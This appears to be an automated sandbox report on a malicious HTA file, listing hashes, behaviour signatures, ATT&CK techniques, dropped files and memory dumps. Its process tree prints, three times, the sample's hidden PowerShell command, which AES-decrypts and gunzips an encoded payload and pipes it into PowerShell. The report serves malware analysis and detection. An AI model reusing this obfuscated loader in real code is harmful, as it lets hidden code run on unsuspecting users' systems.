b5f52078915dbe23dcb847e7badd546e1325403e56694ea624aac39c68d6f985

General

Target

b5f52078915dbe23dcb847e7badd546e1325403e56694ea624aac39c68d6f985_JC.hta
Size

1.1MB
MD5

674e3c0ae0f2627c10b58a717ee093bd
SHA1

21f15d58046119712572a5114b781027c99f7bc4
SHA256

b5f52078915dbe23dcb847e7badd546e1325403e56694ea624aac39c68d6f985
SHA512

4d6444d49befa990756aa4e668ac6b664b4bdd1b19bf3914afe067ed0ed0d6ee6e34a114e0a47d1363bcf588b307f032b3c0638620385f02d12583f1706d37ef
SSDEEP

1536:7pLwiizmnY5q7O2Db9L1/j/SFBOWrhRxPNahQo8y8Im+lIWFT5YhmFfON/H8P2c0:7ppizmnYs7Og9LNjaH1rhRxPNahYYPs

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-722410544-1258951091-1992882075-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
1964	powershell.exe
1964	powershell.exe
1964	powershell.exe
2676	powershell.exe
2232	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	1964	powershell.exe
Token: SeDebugPrivilege	2676	powershell.exe
Token: SeDebugPrivilege	2232	powershell.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 1976 wrote to memory of 1964	1976	mshta.exe	28
PID 1976 wrote to memory of 1964	1976	mshta.exe	28
PID 1976 wrote to memory of 1964	1976	mshta.exe	28
PID 1976 wrote to memory of 1964	1976	mshta.exe	28
PID 1964 wrote to memory of 2060	1964	powershell.exe	30
PID 1964 wrote to memory of 2060	1964	powershell.exe	30
PID 1964 wrote to memory of 2060	1964	powershell.exe	30
PID 1964 wrote to memory of 2060	1964	powershell.exe	30
PID 2060 wrote to memory of 2676	2060	cmd.exe	32
PID 2060 wrote to memory of 2676	2060	cmd.exe	32
PID 2060 wrote to memory of 2676	2060	cmd.exe	32
PID 2060 wrote to memory of 2676	2060	cmd.exe	32
PID 2060 wrote to memory of 2232	2060	cmd.exe	33
PID 2060 wrote to memory of 2232	2060	cmd.exe	33
PID 2060 wrote to memory of 2232	2060	cmd.exe	33
PID 2060 wrote to memory of 2232	2060	cmd.exe	33

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\b5f52078915dbe23dcb847e7badd546e1325403e56694ea624aac39c68d6f985_JC.hta"
1⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:1976
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList {/c powershell.exe $jvrvREYW = 'AAAAAAAAAAAAAAAAAAAAACgiT7Y6Z5d/gZwdUWnb/wGi4NctLSgkyccbly+bEqQsyRsSSqGsbJkH8xfddXt1oDHIKDlWlkPbqfbGz7Pqyi8DESzA5X9WncEpM+hQdLk6SnFNyN7Jv2VHG5Kfp/y4cw1AfxzLYmEGNCdUsR1JiqlFnCLj02Pq6PcZynb5Srpc8xDiyvtwMifuO7Na/a3hWjJ/MxJ0qCdBl/uag/A2lOte5S6dmgxB97AjvlQD6+XzkIpm+Cyd13C7wRAQ4ezINZzs9oMChO54QkRC7+AZhpVgw/vSUr2Mvo6rBLBD2SUx5mLjXOUlfO+qI8/RuDoqKji4hNYsRRDe5jcSwTHMTNf8Zea5zKrBV0yduMUBgDZRVfPAyLyF0IJeTgCsNNbtcNItTHW6NpzI3L7dyfL23vAMG0YpE2wIidNAvyYzYwKb5HUYHGRciHJCm2zyT0ohu27CR7v63ad1DRUiBdR8CHxLodUpDYz49YAwcpcNOKw+kAJ6C7662AFYdrwJFzRI4hpUd6smMl0xS25yr4eIxgEk5AZ02dptSG5SP5bsrq+N52rMlvKV2VlMTc9j61edotkWFoFj6H5rLeTWngfraYY1+qRFh4KQYqN48hPLqo2q+qbwsxRRVU9JHGRjARME4Gu1WOqX5dv/RhQH0w+67EGyyLZa8osvyqrrOqA5QhXMuZT1zB/XuQu9Xd2jPpYTcCxQ6uUH3snmxKT6yEZVA0S3SguKXBxUZ80uGEe2VuaUzDT+nFDoKUUuubIb4CU66ScnyzfXI5LeB+9/TtowRSaEpy1CVhMl6WZ/fYRXvk1lGnJPrhZfbPSYZZx/k7VyhKYHe2AY2YeMItx3v3PGULaX9ktSeiJ2T6N7ZE85xKZ+SD1xgIPv7grsnTBCKR9I8qjIcjVh3W//6FkCBv9WLc+jmfnvFATuBwxGAvSx5/IQKf0nG+wvVZVRl0Z6WuysQ8BMMd7HJ4PD4tPpM7etQiFPIMdiMXUgc5608zbHvqmuhn/03fZlHLqON4OhTX1a7Z+vVxp0gMIoox1wBxuCzws=';$buWIRXRM = 'Y3J5enZTRlFMY1lVZkFzdFdhUkFpZnpQTkhuRlF5UFE=';$WpUVMfnw = New-Object 'System.Security.Cryptography.AesManaged';$WpUVMfnw.Mode = [System.Security.Cryptography.CipherMode]::ECB;$WpUVMfnw.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$WpUVMfnw.BlockSize = 128;$WpUVMfnw.KeySize = 256;$WpUVMfnw.Key = [System.Convert]::FromBase64String($buWIRXRM);$wQRtj = [System.Convert]::FromBase64String($jvrvREYW);$DzLdUhRi = $wQRtj[0..15];$WpUVMfnw.IV = $DzLdUhRi;$jJnybVCSh = $WpUVMfnw.CreateDecryptor();$HDfASYyGf = $jJnybVCSh.TransformFinalBlock($wQRtj, 16, $wQRtj.Length - 16);$WpUVMfnw.Dispose();$RtuBu = New-Object System.IO.MemoryStream( , $HDfASYyGf );$coZHjS = New-Object System.IO.MemoryStream;$ZbwYXDHvr = New-Object System.IO.Compression.GzipStream $RtuBu, ([IO.Compression.CompressionMode]::Decompress);$ZbwYXDHvr.CopyTo( $coZHjS );$ZbwYXDHvr.Close();$RtuBu.Close();[byte[]] $lBmCn = $coZHjS.ToArray();$EcHwkbNX = [System.Text.Encoding]::UTF8.GetString($lBmCn);$EcHwkbNX | powershell - }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1964
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c powershell.exe $jvrvREYW = 'AAAAAAAAAAAAAAAAAAAAACgiT7Y6Z5d/gZwdUWnb/wGi4NctLSgkyccbly+bEqQsyRsSSqGsbJkH8xfddXt1oDHIKDlWlkPbqfbGz7Pqyi8DESzA5X9WncEpM+hQdLk6SnFNyN7Jv2VHG5Kfp/y4cw1AfxzLYmEGNCdUsR1JiqlFnCLj02Pq6PcZynb5Srpc8xDiyvtwMifuO7Na/a3hWjJ/MxJ0qCdBl/uag/A2lOte5S6dmgxB97AjvlQD6+XzkIpm+Cyd13C7wRAQ4ezINZzs9oMChO54QkRC7+AZhpVgw/vSUr2Mvo6rBLBD2SUx5mLjXOUlfO+qI8/RuDoqKji4hNYsRRDe5jcSwTHMTNf8Zea5zKrBV0yduMUBgDZRVfPAyLyF0IJeTgCsNNbtcNItTHW6NpzI3L7dyfL23vAMG0YpE2wIidNAvyYzYwKb5HUYHGRciHJCm2zyT0ohu27CR7v63ad1DRUiBdR8CHxLodUpDYz49YAwcpcNOKw+kAJ6C7662AFYdrwJFzRI4hpUd6smMl0xS25yr4eIxgEk5AZ02dptSG5SP5bsrq+N52rMlvKV2VlMTc9j61edotkWFoFj6H5rLeTWngfraYY1+qRFh4KQYqN48hPLqo2q+qbwsxRRVU9JHGRjARME4Gu1WOqX5dv/RhQH0w+67EGyyLZa8osvyqrrOqA5QhXMuZT1zB/XuQu9Xd2jPpYTcCxQ6uUH3snmxKT6yEZVA0S3SguKXBxUZ80uGEe2VuaUzDT+nFDoKUUuubIb4CU66ScnyzfXI5LeB+9/TtowRSaEpy1CVhMl6WZ/fYRXvk1lGnJPrhZfbPSYZZx/k7VyhKYHe2AY2YeMItx3v3PGULaX9ktSeiJ2T6N7ZE85xKZ+SD1xgIPv7grsnTBCKR9I8qjIcjVh3W//6FkCBv9WLc+jmfnvFATuBwxGAvSx5/IQKf0nG+wvVZVRl0Z6WuysQ8BMMd7HJ4PD4tPpM7etQiFPIMdiMXUgc5608zbHvqmuhn/03fZlHLqON4OhTX1a7Z+vVxp0gMIoox1wBxuCzws=';$buWIRXRM = 'Y3J5enZTRlFMY1lVZkFzdFdhUkFpZnpQTkhuRlF5UFE=';$WpUVMfnw = New-Object 'System.Security.Cryptography.AesManaged';$WpUVMfnw.Mode = [System.Security.Cryptography.CipherMode]::ECB;$WpUVMfnw.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$WpUVMfnw.BlockSize = 128;$WpUVMfnw.KeySize = 256;$WpUVMfnw.Key = [System.Convert]::FromBase64String($buWIRXRM);$wQRtj = [System.Convert]::FromBase64String($jvrvREYW);$DzLdUhRi = $wQRtj[0..15];$WpUVMfnw.IV = $DzLdUhRi;$jJnybVCSh = $WpUVMfnw.CreateDecryptor();$HDfASYyGf = $jJnybVCSh.TransformFinalBlock($wQRtj, 16, $wQRtj.Length - 16);$WpUVMfnw.Dispose();$RtuBu = New-Object System.IO.MemoryStream( , $HDfASYyGf );$coZHjS = New-Object System.IO.MemoryStream;$ZbwYXDHvr = New-Object System.IO.Compression.GzipStream $RtuBu, ([IO.Compression.CompressionMode]::Decompress);$ZbwYXDHvr.CopyTo( $coZHjS );$ZbwYXDHvr.Close();$RtuBu.Close();[byte[]] $lBmCn = $coZHjS.ToArray();$EcHwkbNX = [System.Text.Encoding]::UTF8.GetString($lBmCn);$EcHwkbNX | powershell -
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2060
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe $jvrvREYW = 'AAAAAAAAAAAAAAAAAAAAACgiT7Y6Z5d/gZwdUWnb/wGi4NctLSgkyccbly+bEqQsyRsSSqGsbJkH8xfddXt1oDHIKDlWlkPbqfbGz7Pqyi8DESzA5X9WncEpM+hQdLk6SnFNyN7Jv2VHG5Kfp/y4cw1AfxzLYmEGNCdUsR1JiqlFnCLj02Pq6PcZynb5Srpc8xDiyvtwMifuO7Na/a3hWjJ/MxJ0qCdBl/uag/A2lOte5S6dmgxB97AjvlQD6+XzkIpm+Cyd13C7wRAQ4ezINZzs9oMChO54QkRC7+AZhpVgw/vSUr2Mvo6rBLBD2SUx5mLjXOUlfO+qI8/RuDoqKji4hNYsRRDe5jcSwTHMTNf8Zea5zKrBV0yduMUBgDZRVfPAyLyF0IJeTgCsNNbtcNItTHW6NpzI3L7dyfL23vAMG0YpE2wIidNAvyYzYwKb5HUYHGRciHJCm2zyT0ohu27CR7v63ad1DRUiBdR8CHxLodUpDYz49YAwcpcNOKw+kAJ6C7662AFYdrwJFzRI4hpUd6smMl0xS25yr4eIxgEk5AZ02dptSG5SP5bsrq+N52rMlvKV2VlMTc9j61edotkWFoFj6H5rLeTWngfraYY1+qRFh4KQYqN48hPLqo2q+qbwsxRRVU9JHGRjARME4Gu1WOqX5dv/RhQH0w+67EGyyLZa8osvyqrrOqA5QhXMuZT1zB/XuQu9Xd2jPpYTcCxQ6uUH3snmxKT6yEZVA0S3SguKXBxUZ80uGEe2VuaUzDT+nFDoKUUuubIb4CU66ScnyzfXI5LeB+9/TtowRSaEpy1CVhMl6WZ/fYRXvk1lGnJPrhZfbPSYZZx/k7VyhKYHe2AY2YeMItx3v3PGULaX9ktSeiJ2T6N7ZE85xKZ+SD1xgIPv7grsnTBCKR9I8qjIcjVh3W//6FkCBv9WLc+jmfnvFATuBwxGAvSx5/IQKf0nG+wvVZVRl0Z6WuysQ8BMMd7HJ4PD4tPpM7etQiFPIMdiMXUgc5608zbHvqmuhn/03fZlHLqON4OhTX1a7Z+vVxp0gMIoox1wBxuCzws=';$buWIRXRM = 'Y3J5enZTRlFMY1lVZkFzdFdhUkFpZnpQTkhuRlF5UFE=';$WpUVMfnw = New-Object 'System.Security.Cryptography.AesManaged';$WpUVMfnw.Mode = [System.Security.Cryptography.CipherMode]::ECB;$WpUVMfnw.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$WpUVMfnw.BlockSize = 128;$WpUVMfnw.KeySize = 256;$WpUVMfnw.Key = [System.Convert]::FromBase64String($buWIRXRM);$wQRtj = [System.Convert]::FromBase64String($jvrvREYW);$DzLdUhRi = $wQRtj[0..15];$WpUVMfnw.IV = $DzLdUhRi;$jJnybVCSh = $WpUVMfnw.CreateDecryptor();$HDfASYyGf = $jJnybVCSh.TransformFinalBlock($wQRtj, 16, $wQRtj.Length - 16);$WpUVMfnw.Dispose();$RtuBu = New-Object System.IO.MemoryStream( , $HDfASYyGf );$coZHjS = New-Object System.IO.MemoryStream;$ZbwYXDHvr = New-Object System.IO.Compression.GzipStream $RtuBu, ([IO.Compression.CompressionMode]::Decompress);$ZbwYXDHvr.CopyTo( $coZHjS );$ZbwYXDHvr.Close();$RtuBu.Close();[byte[]] $lBmCn = $coZHjS.ToArray();$EcHwkbNX = [System.Text.Encoding]::UTF8.GetString($lBmCn);$EcHwkbNX
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2676
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2232

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\DVJJH2MEEUSWO91DOEDO.temp

Filesize
7KB

MD5
74f129090f30150b38f011f55ab84a51

SHA1
7abe492b8060a3945cb2a24e89b1a5f6f4bc8646

SHA256
bf72199436e86888c79f36601ffa96bd09a934e05c896ff41e15b737f5110494

SHA512
8f3db534bab63b88fdb19ebd0d4814d8b650a6b0447b78c436baed867ae0852420d5d64a20f158c1e7b5abbc84aad8dbc4b569f0847c9e1ab9e178668b17ce29

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
74f129090f30150b38f011f55ab84a51

SHA1
7abe492b8060a3945cb2a24e89b1a5f6f4bc8646

SHA256
bf72199436e86888c79f36601ffa96bd09a934e05c896ff41e15b737f5110494

SHA512
8f3db534bab63b88fdb19ebd0d4814d8b650a6b0447b78c436baed867ae0852420d5d64a20f158c1e7b5abbc84aad8dbc4b569f0847c9e1ab9e178668b17ce29

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
74f129090f30150b38f011f55ab84a51

SHA1
7abe492b8060a3945cb2a24e89b1a5f6f4bc8646

SHA256
bf72199436e86888c79f36601ffa96bd09a934e05c896ff41e15b737f5110494

SHA512
8f3db534bab63b88fdb19ebd0d4814d8b650a6b0447b78c436baed867ae0852420d5d64a20f158c1e7b5abbc84aad8dbc4b569f0847c9e1ab9e178668b17ce29

Download Submit
memory/1964-2-0x0000000071E50000-0x00000000723FB000-memory.dmp

Filesize
5.7MB

Download
memory/1964-4-0x0000000002530000-0x0000000002570000-memory.dmp

Filesize
256KB

Download
memory/1964-3-0x0000000071E50000-0x00000000723FB000-memory.dmp

Filesize
5.7MB

Download
memory/1964-5-0x0000000071E50000-0x00000000723FB000-memory.dmp

Filesize
5.7MB

Download
memory/2232-21-0x00000000023E0000-0x0000000002420000-memory.dmp

Filesize
256KB

Download
memory/2232-20-0x00000000023E0000-0x0000000002420000-memory.dmp

Filesize
256KB

Download
memory/2232-22-0x0000000071E50000-0x00000000723FB000-memory.dmp

Filesize
5.7MB

Download
memory/2232-33-0x0000000071E50000-0x00000000723FB000-memory.dmp

Filesize
5.7MB

Download
memory/2676-16-0x0000000071E50000-0x00000000723FB000-memory.dmp

Filesize
5.7MB

Download
memory/2676-18-0x0000000071E50000-0x00000000723FB000-memory.dmp

Filesize
5.7MB

Download
memory/2676-19-0x0000000002820000-0x0000000002860000-memory.dmp

Filesize
256KB

Download
memory/2676-17-0x0000000002820000-0x0000000002860000-memory.dmp

Filesize
256KB

Download
memory/2676-32-0x0000000071E50000-0x00000000723FB000-memory.dmp

Filesize
5.7MB

Download

Analysis

Sharing